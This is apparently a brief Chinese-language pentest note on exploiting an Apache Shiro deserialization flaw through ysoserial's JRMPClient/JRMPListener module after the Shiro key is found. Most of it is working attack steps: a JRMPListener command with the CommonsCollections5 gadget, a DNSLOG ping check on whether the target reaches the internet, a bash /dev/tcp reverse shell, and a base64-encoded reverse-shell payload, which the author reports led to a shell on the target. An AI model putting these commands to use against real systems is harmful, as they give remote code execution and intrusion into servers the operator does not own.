最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在JRMPClient可用的情况
换一种工具尝试
发现 JRMPClient 可用, 尝试使用 JRMPClient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录JRMPClient 利用方式。
使用JRMPClient模块进行测试
找到一个同样存在shiro反序列的目标。
同样find: JRMPClient can be use。
搭建JRMPClient 监听服务
首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服务,下载地址:http://github.com/frohoff/ysoserial
使用DNSLOG进行检测
在不确定目标是否通外网的情况下 先使用DNSLOG进行检测 获取一个新的域名 :w3dh1h.dnslog.cn
VPS上开启JRMPListener
在VPS上搭建服务命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"
shiro反序列利用工具中选择JRMPClient,然后输入VPS上搭建服务的地址:
JRMPListener 收到返回信息
DNSLOG上收到目标的ping 命令信息 说明目标服务器通外网
执行反弹命令
执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1
没有收到反弹链接
将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
成功收到反弹链接